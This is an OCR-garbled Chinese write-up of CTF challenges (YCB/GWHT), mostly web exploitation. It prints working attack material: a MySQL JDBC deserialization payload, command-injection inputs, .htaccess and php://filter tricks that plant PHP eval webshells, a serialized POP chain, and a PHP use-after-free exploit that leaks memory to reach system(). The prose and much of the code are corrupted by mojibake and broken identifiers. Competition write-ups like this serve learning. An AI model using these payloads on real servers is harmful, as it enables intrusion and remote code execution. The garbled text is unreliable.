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& FIRE . javakFHib
PS: XIEBEEHE, HEAHEHWP
E—5, serialkiller A& HRITEE, WiEsISREME JIDBC EH:

Databaselnfo databaselnfo = new Databaselnfo();

databaselnfo.setHost("x.x.x.x");

databaselnfo.setPort("x");

databaselnfo.setUsername("root");
databaselnfo.setPassword("root&userSSL=false &autoDeserialize=true &allowPublicKey
Retrieval=true&querylnterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiff
Interceptor");

InfolnvocationHandler infolnvocationHandler = new
InfolnvocationHandler(databaselnfo);

Info info =
(Info)Proxy.newProxylnstance(databaselnfo.getClass().getClassLoader(),
databaselnfo.getClass().getInterfaces(), infolnvocationHandler);

% —2b JDBC RJFF I apache-commons-collections, A LA&:3% .
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload, &/F%{L4EHi&E ™ LA fysoserial, WA IECE. T4
B pomxml Hft4H, BT #2R JDBC RFFML, HRERZ U GI# T commons-collections Kifi, 7E maven &+ & #]
serialkiller, <KMW EFI#E T commons-collections.
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eval post cmd

hitps:/blog.csdn.netiweinin_46676743

& H##/~eavipostecmd, REARRZ—AIEARS, WOERE, RIAFGANXMH, BH—KFbasebs, b TAkES, BMLlE
base64 % & 15 Zlflag
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@ default (FHE%)
O random (A HEH)
) baseb4

B HPOSTH£ S cmd=system(“ls -al"); I 4 & B 3% T A X #Fbbbbbbbbb.txt:




emd system("ls -al") e

Key Value

- Preview  Add to collection
Body BN 200 o [T 86 ms

Pretty Raw  Preview - b JSON | XML

2 <html>
3 <head>

4 <style> div.main { margin-left:auto; margin-right:auto; } b«
5 <title>

6 welcome to YCBCTF

</title>

3 </head>

9 <body >
10 <img src=gul.jpg width=49% height-60%>
11 <img src-gw jpg width=42% height=GoX>
12 <br>
13 <fdiv>
14 </body>
15 </html>
16 ¢scriptralert(’eval post cmd "’ )({script)totil 228

e5:44

! dr-xr-xr-x 1 root root 409 Sep
85:4
©85:41) bbbbbbbbb . txt
95:41;{!!-]1!'_

85:41 pﬁ
05:44 ndex tml
©5:41 index.php

i druxr-xr-x 1 root root 409 Sep
9 -r-wr-xr-x 1 root root 129984 Sep
@ -r-xr-xr-x 1 root root 49898 Sep
1 1
1
1

=F=Xr=Xr=x root root 22308 Sep
22 -r-xr-xr-x 1 root root 10918 Sep
23 -r-xr-xr-x 1 root root 394 Sep

L
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TEEH, AXAKITIF, XHRAENRG
if(empty( ['Black-Cat-Sheriff']) || empty( ['One-ear')|{

die('#! HHEE-RERRE! );
}

= getenv("clandestine");

if(isset( ['White-cat-monitor']))
= hash_hmac('sha256', ['White-cat-monitor'], );
= hash_hmac('sha256', ['One-ear], );
if( == ['Black-Cat-Sheriff']){
die(A R, LREER, RPBSEREMEMMERBir. MEEC, RELERBE HEOKTFH. )
1
echo exec("nc". ['One-ear");

A DLE HRME R K % S N 5 AR N4, BT RE AN, g X A it gL E
clandestine B NE FATH:, WM T B AU, M ficandestiney —ANEMH, hash hmac()
HBE = A SECI A A 5, RESEANULL. Welgndestine T[4, hhitalLh &1, #uE0m s
i\io o o

White-cat-monitor[|=1&0ne-ear=;cat flag.php&Black-CatSheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6



History Collections APIs Untitled Request

P Save Response Clear all

POST v T Save ~
Today
t t eade Body @ - - aTTIr
-
' T
]
KEY VALUE DESCRIPTION
Black-Cat-Sheriff 1588b9a5b4a03d8524e157041d95
-
One-ear 1;cat Nvar ivewwihitmifflag. php
White-cat-monito
.
= @ 2000k 8ms 119KB  Save Response
Pretty Raw Preview Visualize HTML w 5 . Q
43 «/header>
49
51
EPRMFIRRT !

<br />
<brMarning</b>: hash_hmac() expects parameter 2 to be string, array given in <b>/var/www/html/ind
<0363 /brbr />

"GWHT { y@u_mult_p@y_atTentiou_l0_1t}";

L, Find and Replace nsoke tr Bootcamg 1 Browse

Z3lflag: GWHT{yOu mu3t_p@y_atTentiou !0_It}

easyphp

Er: mAPAT. Gl E R R
5 1) & E ik
JiE—: WMitpayload, 4REZEH\WEcontenth ) \n, AREY htaccessP B2 S Apache B17 i it

? content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
B preg_matchi¥jwaf)5 5t v LLE T php:/filterth hill 5 N —HA) i
?filename=php:/filter/write=convert.base64- decode/resource=.htaccess&content=cGhwX3ZhbHVIIHBjcmUuYmFja3RyYWNrX2xpbWIOIDAKcG

hwX3ZhbHVIIHBjcmUuamlOIDAKcGhwX3ZhbHVIIGF 1dG9fYXBWZW5kX2ZpbGUgLmhOYWNjZXNzCiM8P3 BocCBldmFsKCRfROVUWzFdKTs/
PIw&1=phpinfo();

Tk FR\E#&SE 7RIS, iflag

?filename=.htaccess&content=php_value%?20auto_prepend_fi\%0ae%20.htaccess%0a%23\



Go |<'

i Request
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Target:

GET request to /sandbox/034imnrOgrvay T oborwdi Tgrg/

Type Name Value
URL filename moex php
uRL coment <7php eval($_POST[shell]) 7>
Cookae SL_GWPT_Show_Hd... 1
Cookie SL_G_WPT_TO zh
Cookae SL_watGlobTipTmp 1
Cookae PHPSESSD 094ipnrdgrrwvevT oboredi Tigrg
Cookae pass PASS
HEA S
M %&#E: /flag
flag
1 GwWHT{easyApache}
2

%3lflag: GWHT{easyApache}
easyphp2

s XS phpththil
EeasyphpZ&{il

U 1) H ik

Hello, world
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A == | sk B & " & 2335/?file=GWHT.php

—FREHEE, BIERIEE R B base64 Mrot13E #ibanT, BT — FEHFMRE — AN L HK B EE
% Trobots.txt

< O A ~ZE | an I s 2335/robots.txt

Disallow: /7file=check.php

ERAIX? 77
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http://your ip:port/?file=php://ffilter/read=convert.quoted-printable-encode/resource=GWHT.php

php:/filter/read=convert.quoted-printable-encode/resource

=0D=0A=0D=0A=0D=0A=0D=0A =0D=0A =0D=0A =0D=0A =0D=0A=0D=0A =0D=0A=0D=0A=0D=0A=0D=0A=0D=0A
=0D=0A=0D=0A"""
LI}

.'404'.

".'Sorry, only people from GWHT are allowed to access this website.'."23333");=0D=0A
}=0D=0A ?>=0D=0A=0D=0A

A Counter is here, but it has someting wrong

=0D=0A | 30"GWHT php" =0D=0A

=0D=0A ] =0D=0A
=0D=0A=0D=0A The Count is: " . exec('printf \" . Scount . "\' | wc -¢") . "";=0D=0A }=0D=0A ?>=0D=0A=0D=0A=0D=0A=0D=0A



<?php
ini_set('max_execution_time', 5);

if (5_COOKIE['pass'] !== getenv('PASS")) {
setcookie('pass', 'PASS');
die('<h2>'."<hacker>".'<h2>'.'<br>"'.'<h1>".'404'.'<h1>"'.'<br>"."Sorry, only people from GWHT are allowed to access this website.'.'23333'")

7>

<h1>A Counter is here, but it has someting wrong</h1>

<form>
<input type="""hidden" value="GWHT.php" name="file">
<textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type=
</form>

submit">

<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base 16|<\?php|#/i', Scount)){
die('hacker!");

}

echo "<h2>The Count is: " . exec('printf\" . $count . \' | wec -¢') . "</h2>";

}
7>
</body>
</html>

check.php

<?php

$pass = "GWHT";

// Cookie password.

echo "Here is nothing, isn't it ?";

header('Location: /');

B F|Cookie£GWHT, 4T kit @t iTexec(printf” . $count. ” |we-¢'), execir L TLEIE, A LAEEES Ashell
echo "<?=eval(\$_POST['shell'])?>" > shell.php ||

Z3Fflag: GWHT{YOU_H4VE_A BETTER_SK1LL}

break the wall

s ik UAF
R an B o R ik B AR



<?php

class Test {

public stdClass $prop;

}

$rp = new ReflectionProperty(Test::class, 'prop');
$test = new Test;

$test->prop = new stdClass;
var_dump($rp->getType()->getName());

PAT Z S 2RI R — AR AR

string(8) "

£ new Test Z Hi fekii i —i, FHERAIEHKIE:

string(8) "stdClass"

WX —TEENF, TURRRARNNFRZHER:

0x7ffff3e01988: 0x0000000600000002 0x0000000000000000
0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473
0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50
0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008
0x7ffff3e019¢8: 0x706d75645f726176 0x0000000000000000
0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6ce6a006

REBZR NS, SIHTHEN 2, KEHNS8, HAstdClass.  ZJ5 BN RIXFEH):

0x7ffff3e01988: 0x00007ffff3e019d8 0x0000000000000000
0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473
0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50
0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008
0x7ffff3e019¢8: 0x706d75645f726176 0x0000000000000000
0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6f29b026

i Hexp

<?php

global $abc, $helper;

class Test {

public HelperHelperHelperHelperHelperHelperHelper Sprop;
!

class HelperHelperHelperHelperHelperHelperHelper {
public $a, $b;

ki

function s2n($str) {

$address = 0;

for ($i=0;$i<4;$i++){

$address <<= 8;

$address |= ord($str[4 + $i]);

ki

return $address;

ki

function s2b($str, $offset){

return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0",
STR_PAD_LEFT));

ki

function leak($offset) {

I NN W N RN



gloodl »dbC,

$data ="";

for ($i = 0;%i < 8;Fi++){

$data .= $abc[$offset + 7 - $i];

}

return $data;

}

function leak2($address) {
global $helper;

write(0x20, $address);

$leak = strlen($helper -> b);
$leak = dechex($leak);

$leak = str_pad($leak, 16, "0", STR_PAD_LEFT);
$leak = hex2bin($leak);

return $leak;

}

function write($offset, $data) {
global $abc;

$data = str_pad($data, 8, "x00", STR_PAD_LEFT);
for ($i = 0;$i < 8;$i++){
$abc[$offset + $i] = $data[7 - $i];
}

}

function get_basic_funcs($std_object_handlers) {

$prefix = substr($std_object_handlers, 0, 4);

$std_object_handlers = hexdec(bin2hex($std_object_handlers));

$start = $std_object_handlers & 0x00000000fffff000 | 0xX0000000000000920; # change
0x920 if finding failed

$NumPrefix = $std_object_handlers & 0x0000ffffff000000;

$NumPrefix = $NumPrefix - 0xX0000000001000000;

$funcs = get_defined_functions()['internal’];

for($i = 0; $i < 0x1000; $i++) {

$addr = $start - 0x1000 * $i;

$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));

if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix)
{

continue;

}

$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);

$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));

$name = explode("\x00", $name)[0];

if(in_array($name, $funcs)) {

return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT),
$std_object_handlers, $NumPrefix];

}

}

}

function getSystem($unknown_func) {

$unknown_addr = hex2bin($unknown_func[1]);

$prefix = substr($unknown_addr, 0, 4);

$unknown_addr = hexdec($unknown_func[1]);

$start = $unknown_addr & 0x00000000ffffffff;

for($i = 0;$i < 0x800;$i++) {

$addr = $start - 0x20 * $i;

$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT)))):

if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {

continue;



ki

$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);

$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {

return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));

ki

ki

for($i = 0;$i < 0x800;$i++) {

$addr = $start + 0x20 * $i;

$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));

if (hexdec($name_addr) > $unknown_func|[2] || hexdec($name_addr) <
$unknown_func[3]) {

continue;

ki

$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);

$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {

return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));

ki

ki

ki

$rp = new ReflectionProperty(Test::class, 'prop');

$test = new Test;

$test -> prop = new HelperHelperHelperHelperHelperHelperHelper;

$abc = $rp -> getType() -> getName();

$helper = new HelperHelperHelperHelperHelperHelperHelper();

if (strlen($abc) < 1000) {

exit("UAF Failed!");

ki

$Shelper -> a = $helper;

$php_heap = leak(0x10);

$helper -> a = function($x){};

$std_object_handlers = leak(0x0);

Sprefix = substr($php_heap, 0, 4);

echo "Helper Object Address: " . bin2hex($php_heap) . "\n";

echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\n";
$closure_object = leak(0x10);

#3lflag: GWHT{478958¢82caca09061066f392386a0¢a}
easyser
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Welcome to the YCB

Have fun!



EF— T A X Arobots.txt

< O A~ "Ir"""T " 1" "3/robots.txt

Disallow: /starl.php/

i [ star1.php

< O A FRZE""Ir"T """ starl php

FIXbFCHEREERIMY
BASHRLIEE LEEE

Have fun!
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<html >
<head>
{style> div.main { margin-left:auto; margin-right:auto; width:50%; ] body { background-color: #f5f5f0: }</stvle>
{title>
easyphp
Stitled
<{/head>
<body>
{div class="main”>
<h2> AR AR AN EIA RGN </h2>
BRI TR EEE# />
<p> Have fun!</p>
<br>
<{form method="GET” action="starl.php”>
{nput type="text” value="https://www. baidu. com” name="path”>
{input type="submit” value="Submit”>

</ form>
<fdiv>
{iframe src="https://www. baidu. com” width=100% height=100% frameborder="0"><{/iframe>
</body>
) A== NERANA RIS B ser. phplR! 1>
</html>

url error<br>

Vi dser.php, JERGUNT -



<?php

error_reporting(0);

if ($_SERVER['REMOTE_ADDR'] =="127.0.0.1" ) {
highlight_file(__FILE_ );

}

$flag="{Trump_:"fake_news!"}";

class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __ toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
telse{
return "You don't look very happy";

}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file=",$text=") {
$this -> file = $file;
$this -> text = $text;

}

public function hasaki(){
$d ='<?php die("nononon");?>";
$a= $d. $this->text;
@file_put_contents($this-> file,$a);

}

class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";

}
/*$c=$_GET[c'];
echo $x=unserialize($c);*/

POP#EHiE+52id exit

<?php
class GWHT{
public $hero;

class Yongen{ //flag.php
public $file = "php:/ffilter/convert.base64-decode/resource=shell.php";

public $text = "aaaPD9waHAgZXZhbCgkX1BPU1Rbc10pOyAgPz4=";

$a = new GWHT;
$a->hero = new Yongen;
echo urlencode(serialize($a));
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Media's encoding format : |WAVE ~|
Options
"""‘4
#" Sound quality: 93. ?5%|norma| :j Advanced
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Decoded message

This1sThe3rdZIPpwd

CharSet: |UTF8 | B [ Encrypted data ¥ Compressed dat &3 Cancel | +J Decode
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me va i foi . (iter->fname))
lter->fname;

(iter->previous =

{
(audit list ==

iter->previous = audit list->next;
lter->previous->name,;
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def check(buf

ptr=buf find("}"
end=buf.find("\n"
flag=0

for xin range(ptr+1,end
if (bufix|=="\t") or (buf[x|==""
flag+=1

else

return 0

if flag==8

return 1

else

return 0

def read _code(fname
f = open(fname, "r"
data = f.readlines
f.close

bin_str=
result=""

for iin range(len(data

if ("}" in datali]) and ("\n" in data[i]) and check(datali
print datali

ptr=datali].find("}")+1

print ord(datali|[ptr

if datali][ptr]=="\t'

bin_str+="1"

#if datali][ptr]=="":

#bin_str+="0"

for xin range(8

if datali][ptr+x/=="\t'

bin_str+="1"

if datali][ptr+x|==""

bin_str+="0"

#print bin_str

result+=chr(int(bin_str,2

#print result

bin_str=""

print result
read_code("rtld.c"
read_code("arena.c"
read_code("malloc.c"
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